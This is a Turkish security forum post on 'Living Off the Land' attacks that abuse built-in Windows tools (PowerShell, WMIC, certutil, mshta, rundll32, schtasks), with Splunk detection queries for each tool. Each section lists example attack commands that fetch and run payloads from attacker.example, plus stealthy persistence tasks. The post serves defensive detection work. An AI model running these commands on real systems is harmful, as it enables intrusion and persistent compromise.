Hoşgeldin Misafir

#STHM-Yerleşik Sistem Araçlarıyla Yapılan Saldırılar

CW-ommah

17 Ocak 2022
906 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde ise “Living Off the Land” saldırılarının ne olduğunu; Kötüye kullanılabilecek meşru Windows araçlarının ne olduğunu; Saldırganların normal sistem işlemlerine karışan tekniklerini tanıyıp. SIEM uyarılarının Log analinizi kullanarak LoL davranışlarını tespit edeceğiz Allah’ın izniyle.

LoL’de Sıkça kullanılan Araç ve Teknikler
Tehdit aktörleri, yerleşik araçların halihazırda güvenilir olması, yaygın bulunması ve genellikle varsayılan kontrollerce izin verilmesi nedeniyle "Living Off the Land" (LotL) tekniklerini kullanırlar; bu sayede kötü niyetli faaliyetler normal operasyonlar arasında gizlenebilir. Bu teknikler, saldırganların bariz yeni ikili dosyalar (binary) bırakmadan kod çalıştırmasına, adım adım iş akışları yürütmesine ve meşru kimlik bilgilerini yeniden kullanmasına olanak tanıyarak hem gürültüyü azaltır hem de tespit edilmeyi zorlaştırır. Yerel yardımcı programların kullanılması, saldırganların sistemler arasında kalıcılık sağlamasını ve yanal hareket etmesini kolaylaştırırken, yapılan işlemlerin rutin yönetici çalışması gibi görünmesini sağlar.
Sıklıkla kötüye kullanılan araçlar; yürütme, keşif ve yanal hareket gibi temel saldırgan ihtiyaçlarıyla örtüşen betik oluşturma, yönetim, dosya işleme veya zamanlama yetenekleri sunar. Örnekler şunlardır:

  • PowerShell: Bellek içi betik oluşturma, uzaktan indirme ve otomasyon için kullanılır.
  • WMIC veya PowerShell: Komutları yerel veya uzak konaklarda çalıştırmak ve sistem durumunu sorgulamak için kullanılır.
  • Certutil: Dosya getirmek ve yükleri (payload) kodlamak veya kodunu çözmek için kullanılır.
  • Mshta: Bir belge veya bağlantı tarafından iletilen satır içi betikleri veya HTML içeriklerini çalıştırmak için kullanılır.
  • Rundll32: DLL dışa aktarımlarını çağırmak veya URL işleyicilerini tetiklemek için kullanılır.
  • Zamanlanmış Görevler (schtasks): Kalıcılık sağlamak amacıyla oturum açma sırasında veya bir programa bağlı olarak kod çalıştırmak için kullanılır.
Operatörler ayrıca, meşru yönetici iş akışlarıyla karıştıkları için Sysinternals paketindeki imzalı yönetici araçlarını da kötüye kullanırlar; örneğin uzaktan yürütme için PsExec ve başlangıç/kalıcılık noktası keşfi ve manipülasyonu için Autoruns buna örnektir.
"Living Off the Land" yöntemleri Windows ile sınırlı değildir; benzer yaklaşımlar Unix ve macOS sistemlerinde de mevcuttur. Windows için LOLBAS ve Unix için GTFOBins gibi herkese açık koleksiyonlar, her iki platform için ortak kalıpları belgelemektedir. Hangi araçların kötüye kullanılma olasılığının en yüksek olduğunu ve bu kullanımların ardındaki tipik hedefleri bilmek; savunmacıların günlük kaydetmeyi optimize etmesine, tam komut satırlarını ve işlem ağaçlarını yakalamasına ve normalde zararsız olan ikili dosyalar açıkça kötü niyetli davrandığında uyarılara öncelik vermesine yardımcı olur.
Saldırı yüzeyini azaltmak ve müdahaleyi iyileştirmek için alınabilecek bazı önlemler şunlardır:

  • Uç nokta, ağ ve kimlik korumalarını birleştiren katmanlı savunma kontrolleri uygulayın.
  • Hangi betiklerin ve yürütülebilir dosyaların çalışmasına izin verildiğini tanımlamak için AppLocker veya Windows Defender Application Control (WDAC) gibi uygulama kontrol politikalarını devreye alın.
  • Sistem yönetim yardımcı programlarına yalnızca yöneticilerin erişebilmesini sağlayarak en az yetki prensibini (least privilege) uygulayın/kullanın.
  • Kötü niyetli faaliyetlerle bilinen alan adlarına ve içeriklere giden bağlantıları engellemek veya yeniden yönlendirmek için ağ kurallarını ve içerik filtrelerini yapılandırın.
  • Ele geçirilmiş sistemleri izole etmek ve açığa çıkan kimlik bilgilerini iptal etmek için adımları ana hatlarıyla belirten net kapsama (containment) oyun kitapları (playbooks) bulundurun.
  • Yeni saldırı yöntemlerine uyum sağlamak için erişim izinlerini, günlük kapsamını ve kontrol listelerini düzenli olarak gözden geçirin ve güncelleyin.
Gerçek Dünya Örnekleri
Living Off the Land (LotL) yöntemleri yalnızca bireysel saldırganlar veya küçük çaplı operasyonlarla sınırlı değildir. Hem devlet destekli hem de maddi çıkar odaklı pek çok organize tehdit grubu, fark edilmemek ve gizliliklerini korumak için bu tekniklere başvurur. Sistemin kendi yerleşik ve güvenilir ikili dosyalarını (binaries) kullanmak, güvenlik araçlarının daha az uyarı vermesini sağlar ve uygulama kontrol politikaları tarafından engellenme riskini düşürür.
Aşağıdaki örnekler, bilinen grupların 2022 ve 2024 yılları arasındaki gerçek dünya operasyonlarında bu araçları nasıl kullandığını göstermektedir. Her bir örnek; kullanılan araçları, kullanım amacını ve saldırganların bu sayede elde ettiği avantajı vurgulamaktadır.

APT29 (Nobelium) – Kalıcılık ve Yürütme için WMI ve PowerShell
APT29; disk üzerinde bariz ikili dosyalar (binary) bırakmadan kalıcılık sağlamak ve kod yürütmek için WMI ile WMI olay aboneliklerini birleştiren dosyasız teknikler kullanmıştır. Örneğin; bu ayrıntılı teknik inceleme, WMI içerisinde saklanan bir PowerShell yükünü çalıştırmak amacıyla nasıl bir WMI olay aboneliği oluşturulduğunu göstermektedir. Zararlı yük, WMI özelliklerinden okunmuş, şifresi çözülmüş ve yürütülmüştür; bu yaklaşım disk üzerinde minimum kalıntı bırakmıştır. WMI olay aboneliği tekniğinin kendisi için, saldırganların belirli olaylarda kod yürütmeyi tetiklemek amacıyla nasıl filtreler, tüketiciler ve bağlamalar oluşturabileceğini belgeleyen T1546.003 MITRE ATT&CK girdisine bakılabilir.

BlackCat (ALPHV) Fidye Yazılımı – Yanal Hareket İçin Yerleşik Araçlar
BlackCat/ALPHV aktörleri; betik oluşturma ve savunma mekanizmalarını devre dışı bırakmak için PowerShell, uzaktan yürütme ve yanal hareket için Sysinternals paketindeki PsExec ve ana makinelerde zararlı yükleri (payload) getirmek veya kodunu çözmek için certutil gibi yerleşik araçları kullanmışlardır. Resmi duyurular, ulusal siber güvenlik raporları ve bunun gibi diğer kaynaklar, yürütme ve yanal yayılma için PsExec ve PowerShell'in kullanılmasını, dosya işlemleri için ise certutil benzeri tekniklerin uygulanmasını içeren ALPHV faaliyetlerini detaylandırmaktadır.

Cobalt Strike Yükleyicileri: QakBot ve IcedID
Pek çok olay raporu ve tespit kılavuzu; QakBot, IcedID ve diğerleri gibi yükleyicilerin Cobalt Strike beacon'larını hazırlamak ve iletmek için kullanıldığını belirtmektedir. Saldırganlar, bu yükleri (payload) bellekte yürütmek veya ön yüklemesini yapmak (bootstrap) için sıklıkla rundll32.exe ve mshta.exe gibi imzalı Windows ikili dosyalarını (binaries) kullanırlar; bu da yürütme işleminin meşru süreçler tarafından gerçekleştiriliyormuş gibi görünmesini sağlar. Tespit incelemeleri ve tehdit raporları; rundll32 ve mshta'nın, daha sonra Cobalt Strike beacon'larını başlatan veya sisteme bırakan DLL dışa aktarımlarını (exports) ya da HTA/JavaScript içeriklerini çalıştırmak için kullanıldığını belgelemektedir.

LoL Aktivitesini Tespit Etme
PowerShell
PowerShell
, Windows sistemlerinde yönetim ve otomasyon için kullanılan bir betik motorudur (scripting engine).
Saldırganlar PowerShell kullanırlar çünkü bu araç dosya oluşturmadan betikleri doğrudan bellek içinde çalıştırabilir, birçok sistem eylemini otomatikleştirebilir, ağ ile etkileşime girebilir ve bazı yürütme politikalarını (execution policies) atlatabilir. Yaygın kullanım amaçları arasında zararlı yükleri (payload) indirmek, bilgi toplamak, gizlice kod yürütmek veya sistem ayarlarını değiştirmek yer alır.

Kod:
PS C:\> powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object System.Net.WebClient).DownloadString('http://attacker.example/payload.ps1')"
PS C:\> powershell -NoP -NonI -W Hidden -EncodedCommand SQBn...Base64...
PS C:\> powershell -NoP -NonI -Command "Invoke-WebRequest 'http://attacker.example/file.exe' -OutFile 'C:\Users\Public\updater.exe'; Start-Process 'C:\Users\Public\updater.exe'"

Yukarıdaki örnekte, ilk komut saldırganın uzak bir sunucudan bir betiği çekip doğrudan bellek üzerinde çalıştırmasına olanak tanıyan IEX (DownloadString) kalıbını kullanır; bu sayede disk üzerinde iz bırakılmasını önler ve tespit edilmeyi zorlaştırır. İkinci komutta ise -EncodedCommand parametresi, yürütülecek içeriği base64 formatında gizler; böylece hem manuel inceleme yapan denetçiler hem de basit günlük (log) filtreleri saldırı niyetini gözden kaçırabilir. Son olarak, bu işlem file.exe dosyasını indirir ve çalıştırır.
Aşağıda örnek bir tespit sorgusu gösterilmektedir:
Kod:
ndex=wineventlog OR index=sysmon (EventCode=4688 OR EventCode=1 OR EventCode=4104)
(CommandLine="*powershell*IEX*" OR CommandLine="*powershell*-EncodedCommand*" OR
CommandLine="*powershell*-Exec Bypass*" OR CommandLine="*Invoke-WebRequest*" OR
CommandLine="*DownloadString*" OR CommandLine="*Invoke-RestMethod*")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

Sorgunun Açıklaması ve Analizi

Bu Splunk arama sorgusu, Windows sistemlerindeki şüpheli PowerShell faaliyetlerini tespit etmek için tasarlanmıştır. Temel bileşenleri şu şekildedir:
  • Veri Kaynakları (index): Sorgu, hem standart Windows Olay Günlüklerini (wineventlog) hem de daha gelişmiş görünürlük sağlayan sysmon günlüklerini tarar.
  • Olay Kimlikleri (EventCode):
    • 4688: Windows Güvenlik günlüğündeki "Yeni Süreç Oluşturma" (Process Creation) olayıdır.
    • 1: Sysmon üzerindeki "Süreç Oluşturma" (Process Creation) olayıdır; komut satırı argümanlarını detaylıca sunar.
    • 4104: PowerShell "Betik Bloğu Günlüğü" (Script Block Logging) olayıdır. PowerShell kodunun (gizlenmiş/şifrelenmiş olsa bile) yürütülmeden hemen önceki tam halini yakalar.
  • Arama Kriterleri (CommandLine): Yaygın olarak kötüye kullanılan tehlikeli PowerShell parametrelerini ve komutçuklarını (cmdlet) filtreler:
    • IEX (Invoke-Expression) ve DownloadString: Uzak sunucudan belleğe kod indirip çalıştırmak için kullanılır.
    • -EncodedCommand: Base64 ile gizlenmiş komutları yakalar.
    • -Exec Bypass: PowerShell yürütme politikasını (Execution Policy) devre dışı bırakmak için kullanılır.
    • Invoke-WebRequest ve Invoke-RestMethod: Ağ üzerinden dosya veya veri transferi yapmak için kullanılan komutlardır.
  • İstatistiki Özet (stats): Tespit edilen şüpheli komut satırlarını; kaç kez çalıştırıldığı (count), hangi bilgisayarlarda görüldüğü (hosts), hangi kullanıcılar tarafından tetiklendiği (users) ve bu PowerShell sürecini başlatan ana süreçlerin neler olduğu (parents) bilgilerine göre gruplandırarak savunmacıların incelemesini kolaylaştırır.

WMIC
WMIC
(Windows Yönetim Gereçleri Komut Satırı), yöneticilerin yerel veya uzak Windows sistemlerini sorgulamasına ve yönetmesine olanak tanır. Tehdit aktörleri tarafından, süreçleri başlatma yoluyla uzaktan komut çalıştırmak amacıyla yaygın olarak kullanılır.
Saldırganlar; uzaktan komut yürütmek veya süreç oluşturmak, sistem bilgilerini toplamak veya harici ikili dosyalar (binary) kullanmadan kalıcılık sağlamak için WMIC'den faydalanırlar. Bu araç, yönetici davranışlarıyla uyum sağlar ve kısıtlı ortamlarda genellikle kullanımına izin verilir.

Kod:
PS C:\> wmic /node:TARGETHOST process call create "powershell -NoP -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.example/payload.ps1')"
PS C:\> wmic /node:TARGETHOST process get name,commandline
PS C:\> wmic process call create "notepad.exe" /hidden

İlk WMIC komutunda operatör, uzak bir ana bilgisayarı hedefler ve uzak sistemin yeni bir süreç (process) oluşturmasını ister. Bu yeni süreç, uzak bir betiği indirip yürüten bir PowerShell örneğidir; böylece WMIC bir uzaktan başlatıcı (remote launcher) görevi görür. Ardından, ikinci WMIC komutunda araç, uzak sistemdeki çalışan süreçleri ve komut satırlarını sorgulayarak konaklar arası keşif faaliyetlerinde oldukça yararlı olan yapılandırılmış bilgiler döndürür. Üçüncü WMIC komutunda ise, aynı makine üzerinde notepad.exe'yi başlatmak için yerel "WMIC process call create" API'si kullanılır; buradaki isteğe bağlı gizleme parametresi, bir saldırganın ortaya çıkan süreci daha az görünür kılmak için nasıl girişimlerde bulunabileceğini göstermektedir.

Aşağıda örnek bir tespit uyarısı gösterilmektedir:
Kod:
index=sysmon OR index=wineventlog (EventCode=1 OR EventCode=4688)
(CommandLine="*\\wmic.exe*process call create*" OR
CommandLine="*wmic /node:* process call create*" OR
CommandLine="*wmic*process get Name,CommandLine*")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

Sorgunun Açıklaması ve Analizi(Splunk)

Bu sorgu, hem yerel hem de ağ üzerinden gerçekleştirilen şüpheli WMIC faaliyetlerini izlemek için kullanılır:
  • Olay Kodları: Süreç oluşturma olaylarını takip etmek için Sysmon (EventCode 1) ve Windows Güvenlik günlükleri (EventCode 4688) taranır.
  • Kritik Komut Kalıpları:
    • process call create: Yerel sistemde yeni ve potansiyel olarak gizli bir süreç başlatma girişimlerini yakalar.
    • /node:* process call create: WMIC'nin en tehlikeli kullanım şekillerinden biridir; uzak bir bilgisayarda (/node) komut çalıştırmak (yanal hareket) için kullanılır.
    • process get Name,CommandLine: Saldırganın sistemde hangi yazılımların çalıştığını ve bunların hangi parametrelerle yürütüldüğünü anlamaya çalıştığı keşif (reconnaissance) aşamasını tespit eder.
  • Raporlama: stats komutu ile şüpheli komutun hangi kullanıcılar tarafından, hangi ana süreçler (parent image) aracılığıyla ve kaç farklı makinede çalıştırıldığı özetlenerek analiz hızı artırılır.

Certutil

Certutil, sertifikaları yönetmek ve verileri kodlamak (encode) veya kodunu çözmek (decode) için kullanılan bir Microsoft aracıdır. Sertifika yönetimi amacıyla tasarlanmış olan bu araç; -urlcache parametresi ile dosya indirebilir ve base64 biçimindeki zararlı yüklerin (payload) kodunu çözerek metin yığınlarını ikili dosyalara (binary) dönüştürebilir. Saldırganlar bu aracı kullanırlar çünkü araç Microsoft tarafından imzalanmıştır ve yönetici iş akışlarında yaygın olarak bulunur. curl veya benzeri yazılımlara ihtiyaç duymadan sisteme dosya yerleştirebilir ve bazı basit engelleme kurallarını atlatabilir.

Tehdit aktörleri Certutil'i dosya indirmek, base64 ile kodlanmış yüklerin kodunu çözmek veya kötü niyetli kodları meşru sertifika işlemleri gibi gizlemek için kullanırlar. Ağ ve dosya işleme yetenekleri, onu zararlı yükleri hazırlamak veya şifrelenmiş betiklerin kodunu çözmek için çok yönlü bir araç haline getirir.
Kod:
PS C:\> certutil -urlcache -split -f "http://attacker.example/payload.exe" C:\Users\Public\payload.exe
PS C:\> certutil -decode C:\Users\Public\encoded.b64 C:\Users\Public\decoded.exe
PS C:\> certutil -encode C:\Users\Public\payload.exe C:\Users\Public\payload.b64

İlk certutil komutunda, -urlcache -split -f parametreleri certutil'e uzak bir URL'deki dosyayı çekmesini ve belirtilen yerel yola yazmasını söyler; bunun sonucunda diske, daha sonra çalıştırılabilecek bir dosya bırakılmış olur. İkinci komutta certutil, encoded.b64 adlı base64 formatındaki bir metin dosyasını okur, kodunu çözer ve ortaya çıkan ikili dosyayı (binary) decoded.exe olarak yazar; böylece bir saldırgan, bir ikili dosyayı metin olarak taşıyıp ardından hedef bilgisayarda yeniden oluşturabilir. Üçüncü komutta ise certutil, mevcut bir ikili dosyayı payload.b64 içinde saklanan base64 metnine dönüştürür. Bu işlem, hazırlık (staging) veya taşıma sırasında zararlı yükü (payload) gizlemek için kullanılabilir.

Örnek bir uyarı sorgusu aşağıda yer almaktadır:
Kod:
index=sysmon OR index=wineventlog (EventCode=1 OR EventCode=4688 OR EventCode=4663)
(Image="*\\certutil.exe" OR CommandLine="*certutil*")
(CommandLine="* -urlcache * -f *" OR CommandLine="* -decode *" OR CommandLine="* -encode *")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

Sorgunun Açıklaması ve Analizi(Splunk)

Bu sorgu, Certutil aracının sertifika yönetimi dışındaki şüpheli kullanım durumlarını yakalamak için tasarlanmıştır:
  • Olay Kodları: Süreç oluşturma olaylarına (1 ve 4688) ek olarak, dosya sistemi nesnelerine erişimi izleyen 4663 olay kodu da dahil edilmiştir. Bu, certutil'in bir dosyayı diske yazma veya okuma eylemini takip etmeyi sağlar.
  • Kritik Komut Kalıpları:
    • -urlcache ve -f: Bu parametrelerin birlikte kullanımı, aracın internetten dosya indirmek için (genellikle bir 'downloader' gibi) kullanıldığını gösterir.
    • -decode: Base64 formatındaki bir metnin yürütülebilir bir ikili dosyaya (EXE, DLL vb.) dönüştürüldüğünü gösterir; bu, güvenlik kontrollerini atlatmak için sık başvurulan bir yöntemdir.
    • -encode: Sisteme sızmış bir saldırganın, verileri dışarı sızdırmadan önce gizlemek amacıyla metin formatına çevirdiğini işaret edebilir.
  • Analiz Verisi: stats komutu sayesinde, bu işlemleri gerçekleştiren ana süreçler (ParentImage) ve hedef kullanıcılar özetlenerek, işlemin meşru bir yönetici görevi mi yoksa bir saldırı belirtisi mi olduğu daha hızlı ayırt edilebiliriz dostlarım.
MSHTA
Mshta
, içerisinde VBScript veya JavaScript kodu barındırabilen HTML Uygulaması (HTA) dosyalarını çalıştırır.
Kod:
PS C:\> mshta "http://attacker.example/payload.hta"
PS C:\> mshta "javascript:var s=new ActiveXObject('WScript.Shell');s.Run('powershell -NoP -NonI -W Hidden -Command "Start-Process calc.exe"');close();"
PS C:\> mshta "C:\Users\Public\malicious.hta"

İlk mshta komutunda mshta, uzak bir sunucudan bir HTA dosyasını yükler ve barındırılan betik (script) içeriğini sistem bağlamında yürütür. İkinci mshta komutunda mshta'ya, bir WScript.Shell ActiveX nesnesi oluşturan ve bunu bir komut çalıştırmak için kullanan satır içi (inline) bir JavaScript URI'si aktarılır; bu komut daha sonra bir süreç (process) başlatır. Bu durum, satır içi betiklerin kaydedilmiş bir aracı dosyaya ihtiyaç duymadan sistem komutlarını nasıl doğrudan tetikleyebileceğini gösterir. Üçüncü mshta komutunda ise mshta, yerel bir HTA dosyasını çalıştırır; bu yöntem, saldırganın HTA dosyasını bir e-posta eki olarak ilettiği veya paylaşılan bir sürücüye bıraktığı durumlarda kullanışlıdır.

Örnek bir uyarı sorgusu aşağıda yer almaktadır:
Kod:
index=sysmon (EventCode=1 OR EventCode=4688)
Image="*\\mshta.exe" (CommandLine="*http*://*" OR
CommandLine="*javascript:*" OR CommandLine="*.hta")
| stats count by host, user, ParentImage, CommandLine

Sorgunun Açıklaması ve Analizi(Splunk)

Bu sorgu, Mshta aracının (Microsoft HTML Application Host) tipik saldırı kalıplarını ve şüpheli yürütme biçimlerini yakalamak için tasarlanmıştır:
  • Hedef Süreç (Image): Doğrudan mshta.exe sürecinin başlatıldığı durumlar filtrelenir.
  • Kritik Komut Kalıpları (CommandLine):
    • *http*://*: Mshta'nın internet üzerindeki uzak bir sunucudan doğrudan HTA veya betik içeriği çekip çalıştırdığını gösterir. Meşru yönetim işlerinde mshta'nın internete çıkması neredeyse hiç görülmeyen, oldukça şüpheli bir durumdur.
    • *javascript:*: Mshta'ya parametre olarak satır içi (inline) kod geçirildiğini gösterir. Saldırganların diskte dosya bırakmadan doğrudan bellekte kod yürütmek (fileless execution) için kullandığı temel yöntemlerden biridir.
    • *.hta: Yerel diskte bulunan, e-posta eki veya yanal hareketle sisteme bırakılmış bir HTML uygulamasının çalıştırıldığını tespit eder.
  • Analiz Verisi (stats): Şüpheli işlemler; hangi bilgisayarda (host), hangi kullanıcı oturumunda (user), hangi üst süreç (ParentImage - örneğin bir Office uygulaması veya tarayıcı mı?) tarafından ve hangi tam komut satırıyla (CommandLine) tetiklendiğine göre gruplandırılır dostlarım.

Rundll32
Rundll32
, DLL dosyalarından dışa aktarılan (exported) belirli fonksiyonları çalıştırır.
Kod:
PS C:\> rundll32.exe C:\Users\Public\backdoor.dll,Start
PS C:\> rundll32.exe url.dll,FileProtocolHandler "http://attacker.example/update.html"
PS C:\> rundll32.exe C:\Windows\Temp\loader.dll,Run
İlk rundll32 komutunda rundll32, belirtilen DLL dosyasını yükler ve bu DLL'in kodunu çalıştıran dışa aktarılmış (exported) "Start" fonksiyonunu çağırır. İkinci rundll32 komutunda rundll32, url.dll dosyasını "FileProtocolHandler" parametresi ve uzak bir URL ile çağırır; bu durum sistem işleyicisinin (handler) uzak içeriği işlemesine neden olur ve sonraki aşama faaliyetlerini tetikleyebilir. Üçüncü rundll32 komutunda ise, geçici bir DLL içindeki özel olarak hazırlanmış bir dışa aktarım (crafted export) çağrılır; bu işlem, yazılabilir bir konuma bırakılmış bir dosyadan gömülü yükleyici (loader) mantığını veya kabuk kodunu (shellcode) yürütebilir.

Örnek bir uyarı sorgusu aşağıda yer almaktadır:
Kod:
index=sysmon (EventCode=1 OR EventCode=4688 OR EventCode=7)
Image="*\\rundll32.exe" (CommandLine="*\\Users\\Public\\*" OR
CommandLine="*url.dll,FileProtocolHandler*" OR
CommandLine="*\\Windows\\Temp\\*")
| stats count by host, user, ParentImage, CommandLine

Sorgunun Açıklaması ve Analizi(Splunk)

Bu sorgu, meşru bir Windows sistem bileşeni olan Rundll32 aracının kötü niyetli faaliyetlerde (özellikle savunma mekanizmalarını atlatma ve kod yürütme aşamalarında) kullanımını tespit etmek için tasarlanmıştır:
  • Olay Kodları: Süreç oluşturma olaylarına (1 ve 4688) ek olarak, Sysmon üzerindeki "Modül Yükleme" (Image Loaded) olayı olan EventCode 7 de takibe dahil edilmiştir. Bu, rundll32 tarafından belleğe yüklenen şüpheli DLL dosyalarını yakalamak açısından kritiktir.
  • Kritik Komut Kalıpları (CommandLine):
    • *\\Users\\Public\\* ve *\\Windows\\Temp\\*: Rundll32'nin normal şartlarda her kullanıcının yazma yetkisi olan bu geçici veya genel dizinlerden DLL çalıştırması beklenmez. Saldırganların sisteme bıraktığı zararlı DLL'leri bu konumlardan yürütme girişimleri doğrudan filtrelenir.
    • *url.dll,FileProtocolHandler*: Rundll32 aracılığıyla internet üzerindeki uzak bir adrese/içeriğe erişilmesini sağlayan ve yerleşik güvenlik kontrollerini aşmak için sıkça suistimal edilen özel bir Windows fonksiyon çağrısını yakalar.
  • Analiz Verisi (stats): Tespit edilen olaylar; etkilenen makine (host), kullanıcı (user), işlemi tetikleyen ana süreç (ParentImage) ve tam komut satırına göre özetlenir. Bu sayede analist, rundll32'nin hangi meşru görünen süreç altından tetiklendiğini ve hangi DLL'i çağırdığını hızlıca inceleyebilir.

Zamanlanmış Görevler (schtasks / Görev Zamanlayıcı)

Görev Zamanlayıcı, yöneticilerin programları veya betikleri belirli zamanlarda, oturum açma gibi olaylar gerçekleştiğinde ya da tekrarlanan bir takvime göre çalıştırmasını sağlayan yerleşik bir Windows otomasyonudur. Görevlerin bir adı, tetikleyicisi (ne zaman çalışacağı), eylemi (ne çalıştıracağı) ve isteğe bağlı olarak bir çalıştırma hesabı ile koşulları bulunur. Standart bir yönetim aracı olması nedeniyle görevler normal sistem günlüklerinde (log) görünür ve genellikle şirket politikaları tarafından onaylanır; bu da onu hem meşru operasyonlar hem de saldırganların kalıcılık (persistence) sağlama faaliyetleri için değerli bir mekanizma haline getirir.

Saldırganlar; sistem yeniden başlatmalarında kalıcılık elde etmek, kullanıcı oturum açtığında ya da düzenli aralıklarla kod yürütmek veya diğer izleri temizledikten sonra zararlı yükleri (payload) hızla yeniden başlatmak için görevler oluşturur veya mevcut olanları değiştirir. Dikkat çekmemek için genellikle WindowsUpdate veya Maintenance (Bakım) gibi zararsız görünen görev adları seçerler. Görevler; PowerShell, imzalı araçlar veya yerel betikler çalıştırabilir.
Kod:
PS C:\> schtasks /Create /SC ONLOGON /TN "WindowsUpdate" /TR "powershell -NoP -NonI -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.example/ps1')\""
PS C:\> schtasks /Create /SC DAILY /TN "DailyJob" /TR "C:\Users\Public\encrypt.ps1" /ST 00:05
PS C:\> schtasks /Run /TN "WindowsUpdate"
İlk schtasks komutunda, her kullanıcı oturum açtığında çalışması için "WindowsUpdate" adlı bir görev oluşturulur. Bu görevin eylemi, her oturum açma sırasında uzak bir betiği indirip yürüten bir PowerShell süreci başlatarak kalıcılık (persistence) sağlar. İkinci schtasks komutunda ise, her gün saat 00:05'te yerel bir betiği çalıştıracak "DailyJob" adlı günlük bir görev planlanır; bu işlem, zamanlanmış şifreleme (fidye yazılımı) veya aşamalı veri toplama gibi tekrarlanan zararlı eylemleri otomatikleştirebilir. Üçüncü schtasks komutunda, saldırgan adı belirtilen görevi anında çalışacak şekilde tetikler ve yapılandırılmış eylemini isteğe bağlı olarak (on-demand) devreye sokar.

Örnek bir uyarı sorgusu aşağıda yer almaktadır:
Kod:
index=wineventlog EventCode=4698 OR EventCode=4699 OR
index=sysmon (EventCode=1 OR EventCode=4688)
(CommandLine="*schtasks* /Create*" OR CommandLine="*schtasks* /Run*" OR Image="*\\taskeng.exe" OR EventCode=4698)
| stats count by host, user, EventCode, TaskName, CommandLine

Sorgunun Açıklaması ve Analizi(Splunk)

Bu sorgu, Görev Zamanlayıcı (Task Scheduler) ve schtasks.exe komut satırı aracı kullanılarak gerçekleştirilen şüpheli kalıcılık (persistence) ve kod yürütme faaliyetlerini tespit etmek için tasarlanmıştır:
  • Olay Kodları (Windows Güvenlik Günlükleri):
    • EventCode 4698: Yeni bir zamanlanmış görevin oluşturulduğunu gösterir. Saldırganların sistemde kalıcılık sağlamak için attığı adımları yakalamak adına en kritik olay kodlarından biridir.
    • EventCode 4699: Mevcut bir zamanlanmış görevin silindiğini gösterir (Saldırganlar işleri bittikten sonra izlerini temizlemek için görevi silebilir).
  • Olay Kodları (Sysmon / Süreç Takibi):
    • EventCode 1 / 4688: schtasks.exe aracının komut satırından çalıştırılma anını yakalar.
  • Kritik Filtreler ve Komut Kalıpları:
    • /Create: Yeni bir görevin komut satırı üzerinden planlandığını gösterir.
    • /Run: Planlanmış bir görevin zamanının gelmesini beklemeden, anında el ile tetiklendiğini işaret eder.
    • Image="*\\taskeng.exe": Zamanlanmış görevleri arka planda asıl yürüten Windows motorunu (taskeng.exe) izler. Bu sayede, planlanan görevin içeriğindeki zararlı kod çalıştırıldığı an tespit edilebilir.
  • Analiz Verisi (stats): Tespit edilen olaylar; hedef makine (host), işlemi yapan kullanıcı (user), tetiklenen olay kodu (EventCode), oluşturulan görevin adı (TaskName) ve yürütülen tam komut satırı (CommandLine) bazında gruplandırılır. Bu yapı, analistin oluşturulan görevin meşru bir güncelleme mi yoksa gizli bir saldırı girişimi mi olduğunu hızla ayırt etmesini sağlar dostlarım.
1779012390435.pngOkuduğunuz için teşekkür ederim

CW-Ommah
Bug Researchers Tim Sundu...

1779013402470.png